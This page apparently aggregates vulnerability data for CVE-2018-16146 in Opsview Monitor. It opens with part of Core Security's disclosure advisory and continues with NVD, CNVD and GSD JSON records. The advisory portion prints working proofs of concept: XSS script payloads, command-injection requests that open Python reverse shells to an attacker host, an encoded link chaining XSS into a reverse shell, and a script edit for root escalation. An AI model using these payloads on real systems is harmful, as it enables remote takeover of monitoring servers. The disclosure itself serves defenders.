tag:\n\n/-----\n[{\"property\":\"name\",\"root\":\"data\",\"direction\":\"ASC\"}]}},\"contact\":{\"storeState\":{\"pageSize\":50,\"filters\":[],\"page\":1,\"sorters\":[{\"direction\":\"ASC\",\"property\":\"name\",\"root\":\"data\"}]}},\"\u003c/script\u003e\u003cscript\u003ealert(4)\u003c/script\u003e\":{\"storeState\":{\"sorters\":[{\"root\":\"data\",\"property\":\"name\",\"direction\":\"ASC\"}],\"pageSize\":50,\"filters\":[],\"page\":1}},\"hostcheckcommand\":{\"storeState\":{\"pageSize\":50,\"filters\":[],\"page\":1,\"sorters\":[{\"direction\":\"ASC\",\"property\":\"priority\",\"root\":\"data\"}]}},\"netflow_collector\":{\"storeState\":{\"sorters\":[{\"direction\":\"ASC\",\"root\":\"data\",\"property\":\"name\"}],\"page\":1,\"filters\":[],\"pageSize\":50}},\"\u003cscript\u003ealert(4)\u003c/script\u003e\":{\"storeState\":{\"sorters\":[{\"direction\":\"ASC\",\"root\":\"data\",\"property\":\"name\"}],\"\n-----/\n\n7.3. \n         \nThe following proof of concept executes a reverse shell:\n\n/-----\nPOST /rest/config/notificationmethod/testnotification?_dc=1520444703477\nHTTP/1.1\nHost: \u003cserverIP\u003e\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0)\nGecko/20100101 Firefox/58.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://\u003cserverIP\u003e/settings/\nx-opsview-username: admin\nx-opsview-token: 7ac1116c336cc648cda6caa707a17d7aa6114074\nContent-Type: application/json\nX-Requested-With: XMLHttpRequest\nContent-Length: 376\nCookie: redirect=1; testing=1; sid=9bfa04afc5ccc966c623078bab8834e0;\nopsview_web_session=5071271ffb62fffffcb589c9ae9ab9c23d780b13;\nauth_tkt=MDA1M2JmODhmYTlmNWM1NDEyNzM3ZWRiYWJiMTBmZTA1YWEwMWY0M2FkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D\nConnection: close\n\n{\"message\":\"Test\nMessage\",\"command\":\"submit_xmpp_script\",\"variables\":[],\"test_variables\":[{\"name\":\"PAGER\",\"value\":\"123123123\n|| python -c \u0027import\nsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"\u003cattackerIP\u003e\\\",16000));os.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1);\nos.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);\u0027\"}],\"id\":\"20\"}\n-----/\n\n/-----\nnc -lvp 16000\nListening on [0.0.0.0] (family 0, port 16000)\nConnection from [\u003cserverIP\u003e] port 16000 [tcp/*] accepted (family 2,\nsport 43016)\n$ id\nuid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)\n-----/\n\nAdditionally, it is possible to combine this issue with a redirection\nfunctionality within the management console and the vulnerability\ndescribed in 7.1 (Reflected Cross-Site Scripting), to build a specially\ncrafted link that could be sent to an administrator to trigger a reverse\nshell. \n\nIn order to perform the attack, consider the following:\n\n. API\u0027s sensitive actions require a \u0027restToken\u0027 to be processed. This\ntoken could be obtained by a Cross-Site Scripting attack from a specific\nendpoint (/settings). Abuse the login page redirection functionality to force the user to\naccess the Cross-Site Scripting vulnerable URL described in 7.1 (you may\nalso abuse the Cross-Site scripting vulnerability reported in\nhttps://www.cvedetails.com/cve/CVE-2016-2511/ given it is still present). \nIf the user is already authenticated he will be automatically redirected. \nOtherwise, the login page will appear and the redirection will take\nplace after a successful login. \n\nThe following proof of concept presents a crafted link that could\ntrigger a reverse shell if accessed by an administrator:\n\n/-----\nhttps://\u003cserverIP\u003e/login?back=%2Frest%2Fdiagnosticsb2ksy%253cscript%253eeval(atob(%27dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpO3hoci5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtpZiAoeGhyLnJlYWR5U3RhdGUgPT0gWE1MSHR0cFJlcXVlc3QuRE9ORSl7cmVnZXhwID0gLyg%2FOnJlc3RUb2tlbiI6IikoLio%2FKSg%2FOiIpLzt0b2tlbiA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3JlZ2V4cCA9IC8oPzp1c2VyTmFtZSI6IikoLio%2FKSg%2FOiIpLzt1c2VybmFtZSA9IHJlZ2V4cC5leGVjKHhoci5yZXNwb25zZVRleHQpWzFdO3ZhciB4aHIyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7eGhyMi5vcGVuKCdQT1NUJywgJy9yZXN0L2NvbmZpZy9ub3RpZmljYXRpb25tZXRob2QvdGVzdG5vdGlmaWNhdGlvbi8nLCB0cnVlKTt4aHIyLnNldFJlcXVlc3RIZWFkZXIoIngtb3Bzdmlldy11c2VybmFtZSIsIHVzZXJuYW1lKTtjb25zb2xlLmxvZyh1c2VybmFtZSk7Y29uc29sZS5sb2codG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigieC1vcHN2aWV3LXRva2VuIiwgdG9rZW4pO3hocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKTtib2R5ID0geyJtZXNzYWdlIjoiVGVzdCBNZXNzYWdlIiwiY29tbWFuZCI6InN1Ym1pdF94bXBwX3NjcmlwdCIsInZhcmlhYmxlcyI6W10sInRlc3RfdmFyaWFibGVzIjpbeyJuYW1lIjoiUEFHRVIiLCJ2YWx1ZSI6IjEyMzEyMzEyMyB8fCBweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKFwiPGF0dGFja2VySVA%2BXCIsMTYwMDApKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIixcIi1pXCJdKTsnIn1dLCJpZCI6IjEifTt4aHIyLnNlbmQoSlNPTi5zdHJpbmdpZnkoYm9keSkpO2FsZXJ0KHRva2VuKTthbGVydCh1c2VybmFtZSk7fX07eGhyLm9wZW4oJ1BPU1QnLCAnL3NldHRpbmdzLycsIHRydWUpO3hoci5zZW5kKG51bGwpOw%3D%3D%27))%253c%25252fscript%253ev7uol%3ffilename=1%26download=1\n-----/\n\nOnce clicked, the authenticated administrator will be redirected to the\nvulnerable section where his browser will perform a request to the\n\u0027/settings\u0027 endpoint in order to obtain a valid \u0027restToken\u0027. Finally,\nusing that token, the API request to\n\u0027rest/config/notificationmethod/testnotification\u0027 will be exploited thus\nresulting in a reverse shell. \n\n7.4. **Rancid test connection functionality abuse leading to command\nexecution**\n\n[CVE-2018-16144] NetAudit is a section within Network Analyzer that\nallows the user to automate the backing up of network devices\u0027\nconfiguration files to a centralized location. The test connection\nfunctionality is vulnerable to command injection due to an improper\nsanitization of the \u0027rancid_password\u0027 parameter. \n\nThe following proof of concept executes a reverse shell:\n\n/-----\nPOST /rest/config/host/test_rancid_connection?_dc=1521569909290 HTTP/1.1\nHost: \u003cserverIP\u003e\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0)\nGecko/20100101 Firefox/59.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://\u003cserverIP\u003e/settings/\nx-opsview-username: admin\nx-opsview-token: b3d716e0157fd6337e6978220188051d8c578850\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: 434\nCookie: opsview_web_session=8f48a60452543863c3ee3662202a0d0ef568e86f;\nauth_tkt=ZTJlMWFlODQ4ZTVhYmJiN2I3YTQzNWYxNzkzYjAxYWU1YWIxNGI1NWFkbWluIU9QU1ZJRVdfQURNSU4sQUNUSU9OQUxMLEFETUlOQUNDRVNTLEJTTSxDT05GSUdVUkVCU00sQ09ORklHVVJFQlNNQ09NUE9ORU5ULENPTkZJR1VSRUNPTlRBQ1RTLENPTkZJR1VSRUhPU1RHUk9VUFMsQ09ORklHVVJFSE9TVFMsQ09ORklHVVJFS0VZV09SRFMsQ09ORklHVVJFTkVURkxPVyxDT05GSUdVUkVQUk9GSUxFUyxDT05GSUdVUkVST0xFUyxDT05GSUdVUkVTQVZFLENPTkZJR1VSRVZJRVcsREFTSEJPQVJELERBU0hCT0FSREVESVQsREFTSEJPQVJEU0hBUkUsRE9XTlRJTUVTT01FLE5BVk9QVElPTlMsTkVUQVVESVRWSUVXLE5FVEZMT1csTk9USUZZU09NRSxQQVNTV09SRFNBVkUsUkVMT0FEQUNDRVNTLFJFUE9SVEFETUlOLFJFUE9SVFVTRVIsUlJER1JBUEhTLFRFU1RBTEwsVEVTVENIQU5HRSxWSUVXQUxMLFZJRVdQT1JUQUNDRVNTIQ%3D%3D\nConnection: close\n\nip=\u003cattackerIP\u003e++++++\u0026rancid_vendor=1\u0026rancid_username=234234+add+password+xxxxx\u0026rancid_connection_type=telnet\u0026rancid_autoenable=1\u0026rancid_password=2342342342+%3b+sleep%2011%3b%20`python+-c+\u0027import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect((\"\u003cattackerIP\u003e\",16000))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call([\"/bin/sh\",\"-i\"])%3b\u0027`\u0026host_id=2\n-----/\n\n/-----\nnc -lvp 16000\nListening on [0.0.0.0] (family 0, port 16000)\nConnection from [\u003cserverIP\u003e] port 16000 [tcp/*] accepted (family 2,\nsport 43016)\n$ id\nuid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)\n$ uname -a\nLinux image-builder-299 4.4.0-1010-aws #10-Ubuntu SMP Tue Jan 9 23:01:34\nUTC 2018 x86_64 x86_64 x86_64 GNU/Linux\n-----/\n\n7.5. **Script modification could allow local privilege escalation**\n\n[CVE-2018-16145] Most of the services in Opsview Monitor run with nagios\nprivileges and the scripts that run at boot time, impersonate nagios\nuser during its execution. However, the\n\u0027/etc/init.d/opsview-reporting-module\u0027 script invokes the\n\u0027/opt/opsview/jasper/bin/db_jasper\u0027 script before dropping root\nprivileges. \n         \nThe following excerpt shows the vulnerable code:\n         \n/-----\n/etc/init.d/opsview-reporting-module:\n\n/opt/opsview/jasper/bin/db_jasper db_exists 2\u003e /dev/null\nif [ $? != 0 ]; then\n    echo \"Attempted to start jasperserver but MySQL credentials are wrong.\"\n    exit 0\nfi\n\nDAEMON=/opt/opsview/jasper/bin/rc.jasperserver\n\ntest -x $DAEMON || exit 0\n\n# Switch to opsview user if run as root\nid | grep \"uid=0(\" \u003e/dev/null\nif [ $? = 0 ] ; then\n    su - opsview -c \"$DAEMON $@\"\nelse\n    exec $DAEMON $@\nfi\n-----/\n\nThe file \u0027/opt/opsview/jasper/bin/db_jasper\u0027, which is invoked by the\nvulnerable script, can be edited by the nagios user which belongs to the\n\u0027opsview\u0027 group. \n         \n/-----\nls -ltr /opt/opsview/jasper/bin/db_jasper\n-rwxrwxr-x 1 opsview opsview 2531 Feb  6  2017\n/opt/opsview/jasper/bin/db_jasper\nnagios@image-builder-299:/home/admin$ id\nuid=998(nagios) gid=997(nagios) groups=997(nagios),998(nagcmd),999(opsview)\n-----/\n\nSince \u0027db_jasper\u0027 receives \u0027db_exists\u0027 as an argument, which is later\nused in a case statement, an attacker could edit that specific part of\nthe script in order to execute arbitrary code once the appliance is\nrebooted. \n\nThe following excerpt shows the attacker\u0027s bash script which, after\nexecution, will trigger a reverse shell with root privileges:\n\n/-----\nwhile [ \"x$1\" != \"x\" ] ; do\n        case \"$1\" in\n                db_export)\n                        db_export\n                        ;;\n                db_export_test)\n                        db_export_test\n                        ;;\n                db_export_initial)\n                        TEST=1\n                        db_backup\n                        ;;\n                db_import)\n                        db_import\n                        ;;\n                db_install)\n                        db_install\n                        ;;\n                db_backup)\n                        db_backup\n                        ;;\n                db_restore)\n                        db_restore\n                        ;;\n                db_exists)\n                        python -c \u0027import\nsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\u003cattackerIP\u003e\",16000));os.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1);\nos.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);\u0027 \u0026\n                        db_exists\n                        exit $?\n                        ;;\n                db_upgrade)\n                        db_upgrade\n                        exit $?\n                        ;;\n                *)\n                        die \"Usage: $0\n{db_export|db_import|db_install|db_backup|db_restore}\"\n                        ;;\n\n        esac\n        shift\ndone\n-----/\n\n/-----\n$nc -lvp 16000\nListening on [0.0.0.0] (family 0, port 16000)\nConnection from [\u003cserverIP\u003e] port 16000 [tcp/*] accepted (family 2,\nsport 45566)\n# id\nuid=0(root) gid=0(root) groups=0(root)\n-----/\n\n8. **Report Timeline**\n\n2018-05-03: Core Security sent an initial notification to Opsview,\nasking for GPG keys in order to send draft advisory. \n2018-05-04: Opsview replied attaching its GPG keys. \n2018-05-04: Core Security sent the encrypted draft advisory. \n2018-05-04: Opsview confirmed the reception of the advisory and informed\nan initial response would be ready by May 11th. \n2018-05-11: Opsview replied saying they were able to reproduce all of\nthe reported vulnerabilities and confirmed that they were present in all\nsupported versions of Opsview Monitor (5.4, 5.3 and 5.2). \nIn addition, Opsview informed that were planning to release a fix for\nthese versions by the end of July. \n2018-05-11: Core Security thanked the confirmation. \n2018-06-25: Opsview informed that they were planning to release a major\nupdate for the product (6.0) at the end of July. This update will\naddress all reported vulnerabilities. Also, they informed that the\nprevious versions of the product would be fixed by the end of August. \n2018-06-27: Core Security thanked the status update and asked for a\ntentative public disclosure date. \n2018-07-16: Core Security requested a status update. \n2018-07-18: Opsview proposed to set a tentative publication date by the\nend of August when they release the fixes for its earlier versions. \n2018-07-18: Core Security agreed with the Opsview\u0027s proposal. \n2018-07-23: Opsview notified Core Security that the Opsview Monitor 6.0\nrelease will be available on July 25th. In addition, they\ninformed that they didn\u0027t have the exact release date for the updates to\nprevious versions of the product. \n2018-08-06: Core Security requested a status update for the remaining\nfixes. \n2018-08-13: Opsview replied saying that they were targeting the week of\nAugust 24th for release the fixes of their earlier product versions and\nthey would confirm the exact date at the end of the next week. \n2018-08-13: Core Security thanked the reply. \n2018-08-24: Opsview informed Core Security that the remaining fixed\nversions will be available on August 29th. \n2018-08-24: Core Security thanked the update and proposed September 4th\nas the coordinated release date. \n2018-08-28: Opsview agreed on the proposed release date. \n2018-09-04: Advisory CORE-2018-0008 published. \n\n9. **References**\n\n[1] https://www.opsview.com/solutions\n\n10. **About CoreLabs**\n\nCoreLabs, the research center of Core Security, is charged with\nanticipating the future needs and requirements for information security\ntechnologies. \nWe conduct our research in several important areas of computer security\nincluding system vulnerabilities, cyber attack planning and simulation,\nsource code auditing, and cryptography. Our results include problem\nformalization, identification of vulnerabilities, novel solutions and\nprototypes for new technologies. CoreLabs regularly publishes security\nadvisories, technical papers, project information and shared software\ntools for public use at: http://corelabs.coresecurity.com. \n\n11. **About Core Security**\n\nCore Security provides companies with the security insight they need to\nknow who, how, and what is vulnerable in their organization. The\ncompany\u0027s threat-aware, identity \u0026 access, network security, and\nvulnerability management solutions provide actionable insight and\ncontext needed to manage security risks across the enterprise. This\nshared insight gives customers a comprehensive view of their security\nposture to make better security remediation decisions. Better insight\nallows organizations to prioritize their efforts to protect critical\nassets, take action sooner to mitigate access risk, and react faster if\na breach does occur. \n\nCore Security is headquartered in the USA with offices and operations in\nSouth America, Europe, Middle East and Asia. To learn more, contact Core\nSecurity at (678) 304-4500 or info@coresecurity.com\n\n12. **Disclaimer**\n\nThe contents of this advisory are copyright (c) 2018 Core Security and\n(c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution\nNon-Commercial Share-Alike 3.0 (United States) License:\nhttp://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n",
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FKIE_CVE-2018-16146

Vulnerability from fkie_nvd - Published: 2018-09-05 21:29 - Updated: 2024-11-21 03:52

Severity ?

7.2 (High) - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

References

URL	Tags
cve@mitre.org	https://knowledge.opsview.com/v5.4/docs/whats-new	Vendor Advisory
cve@mitre.org	https://seclists.org/fulldisclosure/2018/Sep/3	Exploit, Mailing List, Third Party Advisory
cve@mitre.org	https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities	Exploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://knowledge.opsview.com/v5.4/docs/whats-new	Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108	https://seclists.org/fulldisclosure/2018/Sep/3	Exploit, Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	opsview	opsview	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:opsview:opsview:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "60700697-09A0-4FBB-A747-2411A7A022BC",
              "versionEndExcluding": "5.4.2",
              "versionStartIncluding": "5.4.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account."
    },
    {
      "lang": "es",
      "value": "La consola de gesti\u00f3n web de Opsview Monitor en versiones 5.4.x anteriores a la 5.4.2 proporciona funcionalidades a las que puede acceder un administrador autenticado para probar notificaciones que se desencadenan en ciertos eventos configurables. El par\u00e1metro value no est\u00e1 debidamente saneado, lo que conduce a una inyecci\u00f3n de comandos arbitrarios con los privilegios de la cuenta de usuario nagios."
    }
  ],
  "id": "CVE-2018-16146",
  "lastModified": "2024-11-21T03:52:09.833",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "LOW",
          "accessVector": "NETWORK",
          "authentication": "SINGLE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 9.0,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 8.0,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.0"
        },
        "exploitabilityScore": 1.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2018-09-05T21:29:02.797",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://knowledge.opsview.com/v5.4/docs/whats-new"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://seclists.org/fulldisclosure/2018/Sep/3"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Third Party Advisory"
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      "url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
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    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
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      "url": "https://seclists.org/fulldisclosure/2018/Sep/3"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

CNVD-2018-17453

Vulnerability from cnvd - Published: 2018-09-05

Title

Opsview Monitor命令执行漏洞

Description

Opsview Monitor是一种虚拟设备，旨在部署在组织的网络基础架构中。它与Web管理控制台捆绑在一起，用于监视和管理主机及其服务。 Opsview Monitor存在命令执行漏洞，允许攻击者以nagios用户身份获取系统上的命令执行。

Severity

高

Patch Name

Opsview Monitor命令执行漏洞的补丁

Patch Description

Opsview Monitor是一种虚拟设备，旨在部署在组织的网络基础架构中。它与Web管理控制台捆绑在一起，用于监视和管理主机及其服务。 Opsview Monitor存在命令执行漏洞，允许攻击者以nagios用户身份获取系统上的命令执行。目前，供应商发布了安全公告及相关补丁信息，修复了此漏洞。

Formal description

用户可联系供应商获得补丁信息： https://knowledge.opsview.com/v5.4/docs/whats-new https://knowledge.opsview.com/v5.3/docs/whats-new

Reference

https://seclists.org/fulldisclosure/2018/Sep/3

Impacted products

Name
['Opsview Monitor 5.4', 'Opsview Monitor 5.3', 'Opsview Monitor 5.2']

Show details on source website

JSON

To clipboard

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      "cveNumber": "CVE-2018-16146"
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  "description": "Opsview Monitor\u662f\u4e00\u79cd\u865a\u62df\u8bbe\u5907\uff0c\u65e8\u5728\u90e8\u7f72\u5728\u7ec4\u7ec7\u7684\u7f51\u7edc\u57fa\u7840\u67b6\u6784\u4e2d\u3002 \u5b83\u4e0eWeb\u7ba1\u7406\u63a7\u5236\u53f0\u6346\u7ed1\u5728\u4e00\u8d77\uff0c\u7528\u4e8e\u76d1\u89c6\u548c\u7ba1\u7406\u4e3b\u673a\u53ca\u5176\u670d\u52a1\u3002\r\n\r\nOpsview Monitor\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u4ee5nagios\u7528\u6237\u8eab\u4efd\u83b7\u53d6\u7cfb\u7edf\u4e0a\u7684\u547d\u4ee4\u6267\u884c\u3002",
  "discovererName": "Fernando Diaz and Fernando Catoira from Core Security Consulting Services",
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  "isEvent": "\u901a\u7528\u8f6f\u786c\u4ef6\u6f0f\u6d1e",
  "number": "CNVD-2018-17453",
  "openTime": "2018-09-05",
  "patchDescription": "Opsview Monitor\u662f\u4e00\u79cd\u865a\u62df\u8bbe\u5907\uff0c\u65e8\u5728\u90e8\u7f72\u5728\u7ec4\u7ec7\u7684\u7f51\u7edc\u57fa\u7840\u67b6\u6784\u4e2d\u3002 \u5b83\u4e0eWeb\u7ba1\u7406\u63a7\u5236\u53f0\u6346\u7ed1\u5728\u4e00\u8d77\uff0c\u7528\u4e8e\u76d1\u89c6\u548c\u7ba1\u7406\u4e3b\u673a\u53ca\u5176\u670d\u52a1\u3002\r\n\r\nOpsview Monitor\u5b58\u5728\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u5141\u8bb8\u653b\u51fb\u8005\u4ee5nagios\u7528\u6237\u8eab\u4efd\u83b7\u53d6\u7cfb\u7edf\u4e0a\u7684\u547d\u4ee4\u6267\u884c\u3002\u76ee\u524d\uff0c\u4f9b\u5e94\u5546\u53d1\u5e03\u4e86\u5b89\u5168\u516c\u544a\u53ca\u76f8\u5173\u8865\u4e01\u4fe1\u606f\uff0c\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002",
  "patchName": "Opsview Monitor\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u7684\u8865\u4e01",
  "products": {
    "product": [
      "Opsview Monitor 5.4",
      "Opsview Monitor 5.3",
      "Opsview Monitor 5.2"
    ]
  },
  "referenceLink": "https://seclists.org/fulldisclosure/2018/Sep/3",
  "serverity": "\u9ad8",
  "submitTime": "2018-09-05",
  "title": "Opsview Monitor\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e"
}

GSD-2018-16146

Vulnerability from gsd - Updated: 2023-12-13 01:22

Details

Aliases

CVE-2018-16146

Aliases

CVE-2018-16146

JSON

To clipboard

{
  "GSD": {
    "alias": "CVE-2018-16146",
    "description": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account.",
    "id": "GSD-2018-16146",
    "references": [
      "https://packetstormsecurity.com/files/cve/CVE-2018-16146"
    ]
  },
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2018-16146"
      ],
      "details": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account.",
      "id": "GSD-2018-16146",
      "modified": "2023-12-13T01:22:25.737634Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "cve@mitre.org",
        "ID": "CVE-2018-16146",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "n/a",
                    "version": {
                      "version_data": [
                        {
                          "version_value": "n/a"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "n/a"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
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            "lang": "eng",
            "value": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account."
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "lang": "eng",
                "value": "n/a"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://knowledge.opsview.com/v5.4/docs/whats-new",
            "refsource": "CONFIRM",
            "url": "https://knowledge.opsview.com/v5.4/docs/whats-new"
          },
          {
            "name": "20180904 [CORE-2018-0008] - Opsview Monitor Multiple Vulnerabilities",
            "refsource": "FULLDISC",
            "url": "https://seclists.org/fulldisclosure/2018/Sep/3"
          },
          {
            "name": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities",
            "refsource": "MISC",
            "url": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities"
          }
        ]
      }
    },
    "nvd.nist.gov": {
      "configurations": {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "children": [],
            "cpe_match": [
              {
                "cpe23Uri": "cpe:2.3:a:opsview:opsview:*:*:*:*:*:*:*:*",
                "cpe_name": [],
                "versionEndExcluding": "5.4.2",
                "versionStartIncluding": "5.4.0",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      },
      "cve": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2018-16146"
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "en",
              "value": "The web management console of Opsview Monitor 5.4.x before 5.4.2 provides functionality accessible by an authenticated administrator to test notifications that are triggered under certain configurable events. The value parameter is not properly sanitized, leading to arbitrary command injection with the privileges of the nagios user account."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "en",
                  "value": "CWE-78"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://www.coresecurity.com/advisories/opsview-monitor-multiple-vulnerabilities",
              "refsource": "MISC",
              "tags": [
                "Exploit",
                "Third Party Advisory"
              ],
